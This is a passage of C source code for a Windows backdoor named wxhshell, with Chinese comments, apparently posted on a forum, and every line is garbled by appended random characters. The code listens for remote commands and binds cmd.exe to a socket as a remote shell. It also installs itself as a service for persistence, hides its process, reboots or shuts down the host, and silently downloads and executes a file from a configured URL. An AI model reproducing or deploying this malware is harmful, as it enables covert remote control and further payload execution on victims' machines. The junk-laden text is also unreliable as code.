      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &b8Dy=#  
    break; 2a8ZU{wjn  
  } vh5`R/<3  
  // 安装 f2ygN6(>  
  case 'i': { ~XQj0'  
    if(Install()) fgIzT!fyz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); va F^[/ (g  
    else [y-0w.V=oE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JwG$lGNJ  
    break; S&_Z,mT./  
    } `T7gfb%1-3  
  // 卸载 " 2A`M~  
  case 'r': { Wew'bj  
    if(Uninstall()) & 9}L +/,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ZV1Ev8T6  
    else (7^5jo[D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iU"jV*P]  
    break; &6<>hqR^  
    } 1)yEx1  
  // 显示 wxhshell 所在路径 4XpW#>  
  case 'p': { d.Wq@(ZoA  
    char svExeFile[MAX_PATH]; aNLRUdc.  
    strcpy(svExeFile,"\n\r"); H_RV#BW&  
      strcat(svExeFile,ExeFile); l/0"'o_0v#  
        send(wsh,svExeFile,strlen(svExeFile),0); x O?w8*d  
    break; .RF ijr  
    } Gx /sJ(  
  // 重启 _^K)>  
  case 'b': { IaMZPl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %EkV-%o*  
    if(Boot(REBOOT)) pxP,cS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]D_"tQ?i  
    else { %\Dvng6$  
    closesocket(wsh); u`?MV2jU2  
    ExitThread(0); L c4\i  
    } I/4:SNha  
    break; q2 K@i*s  
    } 4M4Y2f BH  
  // 关机 S. my" j  
  case 'd': { ;[@);-9q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c1 aCN  
    if(Boot(SHUTDOWN)) E_sKDybj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"wxHro  
    else { ^ [FK<9  
    closesocket(wsh); 1./ uJB/  
    ExitThread(0); ffyDi1Q  
    } 3h t>eaHi  
    break; ^w]N#%k\H  
    }  dxHKXw  
  // 获取shell r\nKJdh;ka  
  case 's': { ab"6]%_  
    CmdShell(wsh); 6zv-nMZc  
    closesocket(wsh); MI8f(ZJK5  
    ExitThread(0); ;MRK*sfw{  
    break; 8 KDF*%7'  
  } U`YPzZp_  
  // 退出 EJC{!06L'/  
  case 'x': { MR4e.+#E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uWm,mGd9  
    CloseIt(wsh); ((KNOa5  
    break; `zf,$67>1  
    } %#5\^4$z|N  
  // 离开 R(YhVW_l  
  case 'q': { H}v.0R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`M>w MLH  
    closesocket(wsh); aqL#g18  
    WSACleanup(); 4)- ?1?)  
    exit(1); ^eF%4DUC;  
    break; $y%X#:eLJ  
        } Vo1,{"k  
  } RP!!6A6:  
  } k OYF]^uJ  
cV;<!f+  
  // 提示信息 Ih Yso7g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hA?Flq2QV  
} 6t zUp/O  
  } (RXOv"''=  
5(9SIj^O  
  return; .\Z/j  
} U%.%:'eV=  
h=?V)WSM  
// shell模块句柄 g5",jTn#  
int CmdShell(SOCKET sock) tO?NbWcp  
{ j 3/ I =  
STARTUPINFO si; tW^oa  
ZeroMemory(&si,sizeof(si)); /#<R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IKz3IR eu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J#1-Le8@  
PROCESS_INFORMATION ProcessInfo; 9_=0:GH k  
char cmdline[]="cmd"; JD\yl[ac%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?"hrCEHV{9  
  return 0; 9+irf^D`O  
} ^l,(~03_  
5{zmuv:  
// 自身启动模式 OM>,1;UH]  
int StartFromService(void) QD8.C=2R  
{ Tasmbo^mAF  
typedef struct o"kVA;5<G  
{ ?&gqGU}  
  DWORD ExitStatus; W?>C$_p C  
  DWORD PebBaseAddress; )a7nr<)aU  
  DWORD AffinityMask; KF.O>c87&  
  DWORD BasePriority; @~=*W5  
  ULONG UniqueProcessId; LL0Y$pHV  
  ULONG InheritedFromUniqueProcessId; p&s~O,Bw$  
}   PROCESS_BASIC_INFORMATION; mBwM=LAZ  
KD<smwXjG  
PROCNTQSIP NtQueryInformationProcess; 9 HiH6f^5  
=~DQX\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 21T#NYfew  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .S_7R/2(?  
z [|:HS&  
  HANDLE             hProcess; mhNX05D  
  PROCESS_BASIC_INFORMATION pbi; ?lPn{oB9"  
iJ&jg`"=F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {py"Ob_  
  if(NULL == hInst ) return 0; *HONA>u   
CyV2=o!F w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vsj1!}X:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +QW| 8b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;],Js1 m  
3 0.&Lzz  
  if (!NtQueryInformationProcess) return 0; ^\f1zg9I  
QM) ob  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zk;'`@7  
  if(!hProcess) return 0; Nd h  
X T<SR]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L%`MoTpK q  
D#k ~lEPub  
  CloseHandle(hProcess); J*Q+$Ai~  
_2a)b(<tF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hh[@q*C  
if(hProcess==NULL) return 0; dFl8'D  
%HD0N&  
HMODULE hMod; r [E4/?_  
char procName[255]; *}'3|e4w}  
unsigned long cbNeeded; LTTMxiq[*  
1wg#4h43l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $vLGX>H  
O>LqpZ  
  CloseHandle(hProcess); JKF/z@Vbe\  
tc|PN+v;  
if(strstr(procName,"services")) return 1; // 以服务启动 0JXXJ:dB  
vNQ|tmn  
  return 0; // 注册表启动 ]p@q.P  
} 9 >"}||))  
FmhT^  
// 主模块 _oE 7<  
int StartWxhshell(LPSTR lpCmdLine) z^o7&\:  
{ .3CQFbHF  
  SOCKET wsl; rM`z2*7%d  
BOOL val=TRUE; 98Y1-Z^ .  
  int port=0; N5 b^  
  struct sockaddr_in door; jSQM3+`b  
"#.L\p{Zy  
  if(wscfg.ws_autoins) Install(); ?BR Z){)  
Ov;q]Vn>  
port=atoi(lpCmdLine); C'6c,  
L>n^Q:M  
if(port<=0) port=wscfg.ws_port; T[- %b9h>  
[ e#[j{  
  WSADATA data; ujLje:Yc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w :9M6+mM^  
G6bvV*TRi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i8!err._  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u`"Y!*[ -  
  door.sin_family = AF_INET; rrSFmhQUk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RREl($$p  
  door.sin_port = htons(port); `-g$ 0lm7  
+bk+0k9k5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W/.n R[!  
closesocket(wsl); kbSl.V%)  
return 1; ~xJ ^YkyH  
} 5R6QZVc  
y]g5S-G  
  if(listen(wsl,2) == INVALID_SOCKET) { t!59upbN}3  
closesocket(wsl); *G[` T%g  
return 1; j:$Z-s  
} ir5eR}H  
  Wxhshell(wsl); ab[V->>%  
  WSACleanup(); cR/e Zfl  
BkB9u&s^  
return 0; AMN`bgxW  
. |`)k  
} y\:,.cZ+TQ  
.*?)L3n+t  
// 以NT服务方式启动 E)]emeG d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x[R?hS,0 t  
{ *fSX3Dk  
DWORD   status = 0; Mo]iVj8~  
  DWORD   specificError = 0xfffffff; O O-Obg^  
oJZ0{^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ls*Vz,3!5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eGUe#(I /  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @h5Q?I  
  serviceStatus.dwWin32ExitCode     = 0; {JM3drnw  
  serviceStatus.dwServiceSpecificExitCode = 0; Ok phbAX  
  serviceStatus.dwCheckPoint       = 0; {"0n^!  
  serviceStatus.dwWaitHint       = 0; _+gpdQq\p  
xEB 4oQ5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Dyw4'W.N  
  if (hServiceStatusHandle==0) return; hDbZ62DDN  
5;[0Q  
status = GetLastError();  <JZa  
  if (status!=NO_ERROR) E8o9ufj3  
{ vIFx'S~D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YGi_7fTyc=  
    serviceStatus.dwCheckPoint       = 0; ! &V,+}>)  
    serviceStatus.dwWaitHint       = 0; ve4 QS P  
    serviceStatus.dwWin32ExitCode     = status; !zxq9IhWR  
    serviceStatus.dwServiceSpecificExitCode = specificError; `U;V-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B,Jn.YX  
    return; 'IER9%V$  
  } ;8gODj:dO  
7RgnL<t~:8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Tu.A@  
  serviceStatus.dwCheckPoint       = 0; V{0V/Nv  
  serviceStatus.dwWaitHint       = 0; 94XRf"^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *JaFt@ x  
} h#8 {fr)6  
E eCgV{9B  
// 处理NT服务事件,比如:启动、停止 *kDV ^RBfq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z<BwV /fH}  
{ +Jc-9Ko\c;  
switch(fdwControl) C%'eF`  
{ GF Rd:e  
case SERVICE_CONTROL_STOP: r3.v^  
  serviceStatus.dwWin32ExitCode = 0; 5gPAX $jH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sq 2yQSd  
  serviceStatus.dwCheckPoint   = 0; xX])IZ D  
  serviceStatus.dwWaitHint     = 0; S[uHPYhlA  
  { $Vm J[EF1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Jo.Un7  
  } "( ?[$R  
  return; dk2o>jI4;  
case SERVICE_CONTROL_PAUSE: B?_ujH80m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R7By=Y!t  
  break; Xgm9>/y  
case SERVICE_CONTROL_CONTINUE: k?=V?JWY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z~a]dMs"(P  
  break; 9a_(_g>S  
case SERVICE_CONTROL_INTERROGATE: 0 .p $q  
  break; VAR/"  
}; %K]nX#.B&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuDNm}r[  
} k4 %> F  
v6?<)M%  
// 标准应用程序主函数 Qod2m$>wp}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ihhnB  
{ ("BFI  
R:JS)>B  
// 获取操作系统版本 y/2U:H  
OsIsNt=GetOsVer(); ]j:Ikb}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c5rQkDW  
,@ Cru=  
  // 从命令行安装 egi?Qg  
  if(strpbrk(lpCmdLine,"iI")) Install(); cWM|COXL+  
ss 3fq}  
  // 下载执行文件 7+u%]D!  
if(wscfg.ws_downexe) { 5cQBqH]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z:R2Wksg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4/ U]7Y  
} Gb \ 7W  
A1f]HT  
if(!OsIsNt) { *id|za|:k  
// 如果时win9x,隐藏进程并且设置为注册表启动 z_l3=7R  
HideProc(); = -pss 47  
StartWxhshell(lpCmdLine); Nmsb  
} c)E[K-u  
else 7<^D7  
  if(StartFromService()) a\m10Ih:  
  // 以服务方式启动 Q84KU8?d  
  StartServiceCtrlDispatcher(DispatchTable); *Ucyxpu~$  
else t1Khf  
  // 普通方式启动 #-HN[U?Gs  
  StartWxhshell(lpCmdLine); c[y=K)<Z  
X0Oq lAw  
return 0; X)f"`$  
}
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只看该作者 1 发表于: 2006-10-10
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